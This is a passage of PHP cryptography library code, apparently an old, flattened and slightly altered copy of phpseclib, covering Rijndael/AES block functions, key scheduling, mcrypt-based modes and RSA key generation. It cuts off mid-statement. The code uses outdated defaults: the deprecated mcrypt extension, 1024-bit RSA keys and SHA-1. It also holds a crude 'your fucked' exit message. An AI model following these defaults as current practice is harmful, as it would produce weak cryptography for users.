$t1[$state[$j] & 0x00FF0000] ^ $t2[$state[$k] & 0x0000FF00] ^ $t3[$state[$l] & 0x000000FF] ^ $w[$round][$i]; $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } for ($i = 0; $i < $Nb; $i++) { $state[$i] = $temp[$i]; } } for ($i = 0; $i < $Nb; $i++) { $state[$i] = $this->_subWord($state[$i]); } $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $this->Nb) { $temp[$i] = ($state[$i] & 0xFF000000) ^ ($state[$j] & 0x00FF0000) ^ ($state[$k] & 0x0000FF00) ^ ($state[$l] & 0x000000FF) ^ $w[$Nr][$i]; $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; array_unshift($state, 'N*'); return call_user_func_array('pack', $state); } function _decryptBlock($in) { $state = array(); $words = unpack('N*word', $in); $num_states = count($state); $dw = $this->dw; $dt0 = $this->dt0; $dt1 = $this->dt1; $dt2 = $this->dt2; $dt3 = $this->dt3; $Nb = $this->Nb; $Nr = $this->Nr; $c = $this->c; $i = 0; foreach($words as $word) { $state[] = $word ^ $dw[$Nr][$i++]; } $temp = array(); for ($round = $Nr - 1; $round > 0; $round--) { $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $temp[$i] = $dt0[$state[$i] & 0xFF000000] ^ $dt1[$state[$j] & 0x00FF0000] ^ $dt2[$state[$k] & 0x0000FF00] ^ $dt3[$state[$l] & 0x000000FF] ^ $dw[$round][$i]; $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } for ($i = 0; $i < $Nb; $i++) { $state[$i] = $temp[$i]; } } $i = 0; $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $temp[$i] = $dw[0][$i] ^ $this->_invSubWord(($state[$i] & 0xFF000000) | ($state[$j] & 0x00FF0000) | ($state[$k] & 0x0000FF00) | ($state[$l] & 0x000000FF)); $i++; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; array_unshift($state, 'N*'); return call_user_func_array('pack', $state); } function _setup() { static $rcon = array( 0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000, 0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000 ); if (!$this->changed) { return; } if (!$this->explicit_key_length) { $length = strlen($this->key) >> 2; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nk = $length; $this->key_size = $length << 2; } $this->key = str_pad(substr($this->key, 0, $this->key_size) , $this->key_size, chr(0)); $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($this->iv, 0, $this->block_size) , $this->block_size, chr(0)); $this->Nr = max($this->Nk, $this->Nb) + 6; switch ($this->Nb) { case 4: case 5: case 6: $this->c = array( 0, 1, 2, 3 ); break; case 7: $this->c = array( 0, 1, 2, 4 ); break; case 8: $this->c = array( 0, 1, 3, 4 ); } $key = $this->key; $w = array_values(unpack('N*words', $key)); $length = $this->Nb * ($this->Nr + 1); for ($i = $this->Nk; $i < $length; $i++) { $temp = $w[$i - 1]; if ($i % $this->Nk == 0) { $temp = (($temp << 8) & 0xFFFFFF00) | (($temp >> 24) & 0x000000FF); $temp = $this->_subWord($temp) ^ $rcon[$i / $this->Nk]; } else if ($this->Nk > 6 && $i % $this->Nk == 4) { $temp = $this->_subWord($temp); } $w[$i] = $w[$i - $this->Nk] ^ $temp; } $temp = array(); for ($i = $row = $col = 0; $i < $length; $i++, $col++) { if ($col == $this->Nb) { if ($row == 0) { $this->dw[0] = $this->w[0]; } else { $j = 0; while ($j < $this->Nb) { $dw = $this->_subWord($this->w[$row][$j]); $temp[$j] = $this->dt0[$dw & 0xFF000000] ^ $this->dt1[$dw & 0x00FF0000] ^ $this->dt2[$dw & 0x0000FF00] ^ $this->dt3[$dw & 0x000000FF]; $j++; } $this->dw[$row] = $temp; } $col = 0; $row++; } $this->w[$row][$col] = $w[$i]; } $this->dw[$row] = $this->w[$row]; $this->changed = false; } function _subWord($word) { static $sbox0, $sbox1, $sbox2, $sbox3; if (empty($sbox0)) { $sbox0 = array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ); $sbox1 = array(); $sbox2 = array(); $sbox3 = array(); for ($i = 0; $i < 256; $i++) { $sbox1[$i << 8] = $sbox0[$i] << 8; $sbox2[$i << 16] = $sbox0[$i] << 16; $sbox3[$i << 24] = $sbox0[$i] << 24; } } return $sbox0[$word & 0x000000FF] | $sbox1[$word & 0x0000FF00] | $sbox2[$word & 0x00FF0000] | $sbox3[$word & 0xFF000000]; } function _invSubWord($word) { static $sbox0, $sbox1, $sbox2, $sbox3; if (empty($sbox0)) { $sbox0 = array( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D ); $sbox1 = array(); $sbox2 = array(); $sbox3 = array(); for ($i = 0; $i < 256; $i++) { $sbox1[$i << 8] = $sbox0[$i] << 8; $sbox2[$i << 16] = $sbox0[$i] << 16; $sbox3[$i << 24] = $sbox0[$i] << 24; } } return $sbox0[$word & 0x000000FF] | $sbox1[$word & 0x0000FF00] | $sbox2[$word & 0x00FF0000] | $sbox3[$word & 0xFF000000]; } function enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function _pad($text) { $length = strlen($text); if (!$this->padding) { if ($length % $this->block_size == 0) { return $text; } else { user_error("The plaintext's length ($length) is not a multiple of the block size ({$this->block_size})", E_USER_NOTICE); $this->padding = true; } } $pad = $this->block_size - ($length % $this->block_size); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if (!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > $this->block_size) { return false; } return substr($text, 0, -$length); } function enableContinuousBuffer() { $this->continuousBuffer = true; } function disableContinuousBuffer() { $this->continuousBuffer = false; $this->encryptIV = $this->iv; $this->decryptIV = $this->iv; } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } } define('CRYPT_AES_MODE_CTR', -1); define('CRYPT_AES_MODE_ECB', 1); define('CRYPT_AES_MODE_CBC', 2); define('CRYPT_AES_MODE_CFB', 3); define('CRYPT_AES_MODE_OFB', 4); define('CRYPT_AES_MODE_INTERNAL', 1); define('CRYPT_AES_MODE_MCRYPT', 2); class Crypt_AES extends Crypt_Rijndael { var $enmcrypt; var $demcrypt; var $ecb; function Crypt_AES($mode = CRYPT_AES_MODE_CBC) { if (!defined('CRYPT_AES_MODE')) { switch (true) { case extension_loaded('mcrypt'): define('CRYPT_AES_MODE', CRYPT_AES_MODE_MCRYPT); break; default: define('CRYPT_AES_MODE', CRYPT_AES_MODE_INTERNAL); } } switch (CRYPT_AES_MODE) { case CRYPT_AES_MODE_MCRYPT: switch ($mode) { case CRYPT_AES_MODE_ECB: $this->paddable = true; $this->mode = MCRYPT_MODE_ECB; break; case CRYPT_AES_MODE_CTR: $this->mode = 'ctr'; break; case CRYPT_AES_MODE_CFB: $this->mode = 'ncfb'; break; case CRYPT_AES_MODE_OFB: $this->mode = MCRYPT_MODE_NOFB; break; case CRYPT_AES_MODE_CBC: default: $this->paddable = true; $this->mode = MCRYPT_MODE_CBC; } $this->debuffer = $this->enbuffer = ''; break; default: switch ($mode) { case CRYPT_AES_MODE_ECB: $this->paddable = true; $this->mode = CRYPT_RIJNDAEL_MODE_ECB; break; case CRYPT_AES_MODE_CTR: $this->mode = CRYPT_RIJNDAEL_MODE_CTR; break; case CRYPT_AES_MODE_CFB: $this->mode = CRYPT_RIJNDAEL_MODE_CFB; break; case CRYPT_AES_MODE_OFB: $this->mode = CRYPT_RIJNDAEL_MODE_OFB; break; case CRYPT_AES_MODE_CBC: default: $this->paddable = true; $this->mode = CRYPT_RIJNDAEL_MODE_CBC; } } if (CRYPT_AES_MODE == CRYPT_AES_MODE_INTERNAL) { parent::Crypt_Rijndael($this->mode); } } function setBlockLength($length) { return; } function encrypt($plaintext) { if (CRYPT_AES_MODE == CRYPT_AES_MODE_MCRYPT) { $changed = $this->changed; $this->_mcryptSetup(); if ($this->mode == 'ncfb') { if ($changed) { $this->ecb = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->key, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); } if (strlen($this->enbuffer)) { $ciphertext = $plaintext ^ substr($this->encryptIV, strlen($this->enbuffer)); $this->enbuffer.= $ciphertext; if (strlen($this->enbuffer) == 16) { $this->encryptIV = $this->enbuffer; $this->enbuffer = ''; mcrypt_generic_init($this->enmcrypt, $this->key, $this->encryptIV); } $plaintext = substr($plaintext, strlen($ciphertext)); } else { $ciphertext = ''; } $last_pos = strlen($plaintext) & 0xFFFFFFF0; $ciphertext.= $last_pos ? mcrypt_generic($this->enmcrypt, substr($plaintext, 0, $last_pos)) : ''; if (strlen($plaintext) & 0xF) { if (strlen($ciphertext)) { $this->encryptIV = substr($ciphertext, -16); } $this->encryptIV = mcrypt_generic($this->ecb, $this->encryptIV); $this->enbuffer = substr($plaintext, $last_pos) ^ $this->encryptIV; $ciphertext.= $this->enbuffer; } return $ciphertext; } if ($this->paddable) { $plaintext = $this->_pad($plaintext); } $ciphertext = mcrypt_generic($this->enmcrypt, $plaintext); if (!$this->continuousBuffer) { mcrypt_generic_init($this->enmcrypt, $this->key, $this->iv); } return $ciphertext; } return parent::encrypt($plaintext); } function decrypt($ciphertext) { if (CRYPT_AES_MODE == CRYPT_AES_MODE_MCRYPT) { $changed = $this->changed; $this->_mcryptSetup(); if ($this->mode == 'ncfb') { if ($changed) { $this->ecb = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->key, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); } if (strlen($this->debuffer)) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($this->debuffer)); $this->debuffer.= substr($ciphertext, 0, strlen($plaintext)); if (strlen($this->debuffer) == 16) { $this->decryptIV = $this->debuffer; $this->debuffer = ''; mcrypt_generic_init($this->demcrypt, $this->key, $this->decryptIV); } $ciphertext = substr($ciphertext, strlen($plaintext)); } else { $plaintext = ''; } $last_pos = strlen($ciphertext) & 0xFFFFFFF0; $plaintext.= $last_pos ? mdecrypt_generic($this->demcrypt, substr($ciphertext, 0, $last_pos)) : ''; if (strlen($ciphertext) & 0xF) { if (strlen($plaintext)) { $this->decryptIV = substr($ciphertext, $last_pos - 16, 16); } $this->decryptIV = mcrypt_generic($this->ecb, $this->decryptIV); $this->debuffer = substr($ciphertext, $last_pos); $plaintext.= $this->debuffer ^ $this->decryptIV; } return $plaintext; } if ($this->paddable) { $ciphertext = str_pad($ciphertext, (strlen($ciphertext) + 15) & 0xFFFFFFF0, chr(0)); } $plaintext = mdecrypt_generic($this->demcrypt, $ciphertext); if (!$this->continuousBuffer) { mcrypt_generic_init($this->demcrypt, $this->key, $this->iv); } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } return parent::decrypt($ciphertext); } function _mcryptSetup() { if (!$this->changed) { return; } if (!$this->explicit_key_length) { $length = strlen($this->key) >> 2; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nk = $length; $this->key_size = $length << 2; } switch ($this->Nk) { case 4: $this->key_size = 16; break; case 5: case 6: $this->key_size = 24; break; case 7: case 8: $this->key_size = 32; } $this->key = str_pad(substr($this->key, 0, $this->key_size) , $this->key_size, chr(0)); $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($this->iv, 0, 16) , 16, chr(0)); if (!isset($this->enmcrypt)) { $mode = $this->mode; $this->demcrypt = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', $mode, ''); $this->enmcrypt = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', $mode, ''); } mcrypt_generic_init($this->demcrypt, $this->key, $this->iv); mcrypt_generic_init($this->enmcrypt, $this->key, $this->iv); $this->changed = false; } function _encryptBlock($in) { $state = unpack('N*word', $in); $Nr = $this->Nr; $w = $this->w; $t0 = $this->t0; $t1 = $this->t1; $t2 = $this->t2; $t3 = $this->t3; $state = array( $state['word1'] ^ $w[0][0], $state['word2'] ^ $w[0][1], $state['word3'] ^ $w[0][2], $state['word4'] ^ $w[0][3] ); for ($round = 1; $round < $this->Nr; $round++) { $state = array( $t0[$state[0] & 0xFF000000] ^ $t1[$state[1] & 0x00FF0000] ^ $t2[$state[2] & 0x0000FF00] ^ $t3[$state[3] & 0x000000FF] ^ $w[$round][0], $t0[$state[1] & 0xFF000000] ^ $t1[$state[2] & 0x00FF0000] ^ $t2[$state[3] & 0x0000FF00] ^ $t3[$state[0] & 0x000000FF] ^ $w[$round][1], $t0[$state[2] & 0xFF000000] ^ $t1[$state[3] & 0x00FF0000] ^ $t2[$state[0] & 0x0000FF00] ^ $t3[$state[1] & 0x000000FF] ^ $w[$round][2], $t0[$state[3] & 0xFF000000] ^ $t1[$state[0] & 0x00FF0000] ^ $t2[$state[1] & 0x0000FF00] ^ $t3[$state[2] & 0x000000FF] ^ $w[$round][3] ); } $state = array( $this->_subWord($state[0]) , $this->_subWord($state[1]) , $this->_subWord($state[2]) , $this->_subWord($state[3]) ); $state = array( ($state[0] & 0xFF000000) ^ ($state[1] & 0x00FF0000) ^ ($state[2] & 0x0000FF00) ^ ($state[3] & 0x000000FF) ^ $this->w[$this->Nr][0], ($state[1] & 0xFF000000) ^ ($state[2] & 0x00FF0000) ^ ($state[3] & 0x0000FF00) ^ ($state[0] & 0x000000FF) ^ $this->w[$this->Nr][1], ($state[2] & 0xFF000000) ^ ($state[3] & 0x00FF0000) ^ ($state[0] & 0x0000FF00) ^ ($state[1] & 0x000000FF) ^ $this->w[$this->Nr][2], ($state[3] & 0xFF000000) ^ ($state[0] & 0x00FF0000) ^ ($state[1] & 0x0000FF00) ^ ($state[2] & 0x000000FF) ^ $this->w[$this->Nr][3] ); return pack('N*', $state[0], $state[1], $state[2], $state[3]); } function _decryptBlock($in) { $state = unpack('N*word', $in); $Nr = $this->Nr; $dw = $this->dw; $dt0 = $this->dt0; $dt1 = $this->dt1; $dt2 = $this->dt2; $dt3 = $this->dt3; $state = array( $state['word1'] ^ $dw[$this->Nr][0], $state['word2'] ^ $dw[$this->Nr][1], $state['word3'] ^ $dw[$this->Nr][2], $state['word4'] ^ $dw[$this->Nr][3] ); for ($round = $this->Nr - 1; $round > 0; $round--) { $state = array( $dt0[$state[0] & 0xFF000000] ^ $dt1[$state[3] & 0x00FF0000] ^ $dt2[$state[2] & 0x0000FF00] ^ $dt3[$state[1] & 0x000000FF] ^ $dw[$round][0], $dt0[$state[1] & 0xFF000000] ^ $dt1[$state[0] & 0x00FF0000] ^ $dt2[$state[3] & 0x0000FF00] ^ $dt3[$state[2] & 0x000000FF] ^ $dw[$round][1], $dt0[$state[2] & 0xFF000000] ^ $dt1[$state[1] & 0x00FF0000] ^ $dt2[$state[0] & 0x0000FF00] ^ $dt3[$state[3] & 0x000000FF] ^ $dw[$round][2], $dt0[$state[3] & 0xFF000000] ^ $dt1[$state[2] & 0x00FF0000] ^ $dt2[$state[1] & 0x0000FF00] ^ $dt3[$state[0] & 0x000000FF] ^ $dw[$round][3] ); } $state = array( $this->_invSubWord(($state[0] & 0xFF000000) ^ ($state[3] & 0x00FF0000) ^ ($state[2] & 0x0000FF00) ^ ($state[1] & 0x000000FF)) ^ $dw[0][0], $this->_invSubWord(($state[1] & 0xFF000000) ^ ($state[0] & 0x00FF0000) ^ ($state[3] & 0x0000FF00) ^ ($state[2] & 0x000000FF)) ^ $dw[0][1], $this->_invSubWord(($state[2] & 0xFF000000) ^ ($state[1] & 0x00FF0000) ^ ($state[0] & 0x0000FF00) ^ ($state[3] & 0x000000FF)) ^ $dw[0][2], $this->_invSubWord(($state[3] & 0xFF000000) ^ ($state[2] & 0x00FF0000) ^ ($state[1] & 0x0000FF00) ^ ($state[0] & 0x000000FF)) ^ $dw[0][3] ); return pack('N*', $state[0], $state[1], $state[2], $state[3]); } } define('CRYPT_RSA_ENCRYPTION_OAEP', 1); define('CRYPT_RSA_ENCRYPTION_PKCS1', 2); define('CRYPT_RSA_SIGNATURE_PSS', 1); define('CRYPT_RSA_SIGNATURE_PKCS1', 2); define('CRYPT_RSA_ASN1_INTEGER', 2); define('CRYPT_RSA_ASN1_SEQUENCE', 48); define('CRYPT_RSA_MODE_INTERNAL', 1); define('CRYPT_RSA_MODE_OPENSSL', 2); define('CRYPT_RSA_PRIVATE_FORMAT_PKCS1', 0); define('CRYPT_RSA_PRIVATE_FORMAT_PUTTY', 1); define('CRYPT_RSA_PRIVATE_FORMAT_XML', 2); define('CRYPT_RSA_PUBLIC_FORMAT_RAW', 3); define('CRYPT_RSA_PUBLIC_FORMAT_PKCS1', 4); define('CRYPT_RSA_PUBLIC_FORMAT_XML', 5); define('CRYPT_RSA_PUBLIC_FORMAT_OPENSSH', 6); class Crypt_RSA { var $zero; var $one; var $privateKeyFormat = CRYPT_RSA_PRIVATE_FORMAT_PKCS1; var $publicKeyFormat = CRYPT_RSA_PUBLIC_FORMAT_PKCS1; var $modulus; var $k; var $exponent; var $primes; var $exponents; var $coefficients; var $hashName; var $hash; var $hLen; var $sLen; var $mgfHash; var $mgfHLen; var $encryptionMode = CRYPT_RSA_ENCRYPTION_OAEP; var $signatureMode = CRYPT_RSA_SIGNATURE_PSS; var $publicExponent = false; var $password = ''; var $components = array(); var $current; function Crypt_RSA() { if (!defined('CRYPT_RSA_MODE')) { switch (true) { default: define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL); } } $this->zero = new Math_BigInteger(); $this->one = new Math_BigInteger(1); $this->hash = new Crypt_Hash('sha1'); $this->hLen = $this->hash->getLength(); $this->hashName = 'sha1'; $this->mgfHash = new Crypt_Hash('sha1'); $this->mgfHLen = $this->mgfHash->getLength(); } function createKey($bits = 1024, $timeout = false, $partial = array()) { if (CRYPT_RSA_MODE == CRYPT_RSA_MODE_OPENSSL) { $rsa = openssl_pkey_new(array( 'private_key_bits' => $bits )); openssl_pkey_export($rsa, $privatekey); $publickey = openssl_pkey_get_details($rsa); $publickey = $publickey['key']; if ($this->privateKeyFormat != CRYPT_RSA_PRIVATE_FORMAT_PKCS1) { $privatekey = call_user_func_array(array( $this, '_convertPrivateKey' ) , array_values($this->_parseKey($privatekey, CRYPT_RSA_PRIVATE_FORMAT_PKCS1))); $publickey = call_user_func_array(array( $this, '_convertPublicKey' ) , array_values($this->_parseKey($publickey, CRYPT_RSA_PUBLIC_FORMAT_PKCS1))); } return array( 'privatekey' => $privatekey, 'publickey' => $publickey, 'partialkey' => false ); } static $e; if (!isset($e)) { if (!defined('CRYPT_RSA_EXPONENT')) { define('CRYPT_RSA_EXPONENT', '65537'); } if (!defined('CRYPT_RSA_COMMENT')) { define('CRYPT_RSA_COMMENT', 'phpseclib-generated-key'); } if (!defined('CRYPT_RSA_SMALLEST_PRIME')) { define('CRYPT_RSA_SMALLEST_PRIME', 4096); } $e = new Math_BigInteger(CRYPT_RSA_EXPONENT); } extract($this->_generateMinMax($bits)); $absoluteMin = $min; $temp = $bits >> 1; if ($temp > CRYPT_RSA_SMALLEST_PRIME) { $num_primes = floor($bits / CRYPT_RSA_SMALLEST_PRIME); $temp = CRYPT_RSA_SMALLEST_PRIME; } else { $num_primes = 2; } extract($this->_generateMinMax($temp + $bits % $temp)); $finalMax = $max; extract($this->_generateMinMax($temp)); $generator = new Math_BigInteger(); $generator->setRandomGenerator('crypt_random'); $n = $this->one->copy(); if (!empty($partial)) { extract(unserialize($partial)); } else { $exponents = $coefficients = $primes = array(); $lcm = array( 'top' => $this->one->copy() , 'bottom' => false ); } $start = time(); $i0 = count($primes) + 1; do { for ($i = $i0; $i <= $num_primes; $i++) { if ($timeout !== false) { $timeout-= time() - $start; $start = time(); if ($timeout <= 0) { return array( 'privatekey' => '', 'publickey' => '', 'partialkey' => serialize(array( 'primes' => $primes, 'coefficients' => $coefficients, 'lcm' => $lcm, 'exponents' => $exponents )) ); } } if ($i == $num_primes) { list($min, $temp) = $absoluteMin->divide($n); if (!$temp->equals($this->zero)) { $min = $min->add($this->one); } $primes[$i] = $generator->randomPrime($min, $finalMax, $timeout); } else { $primes[$i] = $generator->randomPrime($min, $max, $timeout); } if ($primes[$i] === false) { if (count($primes) > 1) { $partialkey = ''; } else { array_pop($primes); $partialkey = serialize(array( 'primes' => $primes, 'coefficients' => $coefficients, 'lcm' => $lcm, 'exponents' => $exponents )); } return array( 'privatekey' => '', 'publickey' => '', 'partialkey' => $partialkey ); } if ($i > 2) { $coefficients[$i] = $n->modInverse($primes[$i]); } $n = $n->multiply($primes[$i]); $temp = $primes[$i]->subtract($this->one); $lcm['top'] = $lcm['top']->multiply($temp); $lcm['bottom'] = $lcm['bottom'] === false ? $temp : $lcm['bottom']->gcd($temp); $exponents[$i] = $e->modInverse($temp); } list($lcm) = $lcm['top']->divide($lcm['bottom']); $gcd = $lcm->gcd($e); $i0 = 1; } while (!$gcd->equals($this->one)); $d = $e->modInverse($lcm); $coefficients[2] = $primes[2]->modInverse($primes[1]); return array( 'privatekey' => $this->_convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients) , 'publickey' => $this->_convertPublicKey($n, $e) , 'partialkey' => false ); } function _convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients) { $num_primes = count($primes); $raw = array( 'version' => $num_primes == 2 ? chr(0) : chr(1) , 'modulus' => $n->toBytes(true) , 'publicExponent' => $e->toBytes(true) , 'privateExponent' => $d->toBytes(true) , 'prime1' => $primes[1]->toBytes(true) , 'prime2' => $primes[2]->toBytes(true) , 'exponent1' => $exponents[1]->toBytes(true) , 'exponent2' => $exponents[2]->toBytes(true) , 'coefficient' => $coefficients[2]->toBytes(true) ); switch ($this->privateKeyFormat) { default: $components = array(); foreach($raw as $name => $value) { $components[$name] = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($value)) , $value); } $RSAPrivateKey = implode('', $components); if ($num_primes > 2) { $OtherPrimeInfos = ''; for ($i = 3; $i <= $num_primes; $i++) { $OtherPrimeInfo = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($primes[$i]->toBytes(true))) , $primes[$i]->toBytes(true)); $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($exponents[$i]->toBytes(true))) , $exponents[$i]->toBytes(true)); $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($coefficients[$i]->toBytes(true))) , $coefficients[$i]->toBytes(true)); $OtherPrimeInfos.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfo)) , $OtherPrimeInfo); } $RSAPrivateKey.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfos)) , $OtherPrimeInfos); } $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)) , $RSAPrivateKey); if (!empty($this->password)) { $iv = $this->_random(8); $symkey = pack('H*', md5($this->password . $iv)); $symkey.= substr(pack('H*', md5($symkey . $this->password . $iv)) , 0, 8); if (!class_exists('Crypt_TripleDES')) { echo 'your fucked'; exit; } $des = new Crypt_TripleDES(); $des->setKey($symkey); $des->setIV($iv); $iv = strtoupper(bin2hex($iv)); $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----\r\n" . 